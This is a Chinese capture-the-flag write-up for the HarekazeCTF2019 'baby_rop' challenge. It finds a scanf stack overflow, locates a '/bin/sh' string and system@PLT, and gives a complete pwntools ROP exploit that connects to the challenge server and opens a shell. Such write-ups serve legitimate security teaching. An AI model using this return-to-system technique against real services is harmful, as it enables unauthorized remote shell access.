[HarekazeCTF2019]baby_rop
使用checksec查看:

只开启了栈不可执行。
放进IDA中分析:

system("echo -n \"What's your name? \"");:system()可用__isoc99_scanf("%s", &v4);:存在栈溢出
查看字符串:

- 存在
/bin/sh字符串
题目思路
- 利用栈溢出覆盖返回地址为
system@PLT - 传入
system()的参数/bin/sh - 即可getshell
步骤解析
无需
完整exp
from pwn import *
#start
r = remote("node4.buuoj.cn",26718)
# r = process("../buu/[HarekazeCTF2019]baby_rop")
elf = ELF("../buu/[HarekazeCTF2019]baby_rop")
#params
rdi_addr = 0x400683
bin_sh_addr = 0x601048
system_addr = elf.symbols['system']
#attack
payload=b'M'*0x18 + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
r.sendline(payload)
r.interactive()
Baby_ROP挑战解析
本文介绍[HarekazeCTF2019]baby_rop题目的解决过程,通过利用栈溢出覆盖返回地址指向system@PLT,并传递/bin/sh作为参数来获取shell。文章详细分析了漏洞利用的技术细节。
930

被折叠的 条评论
为什么被折叠?



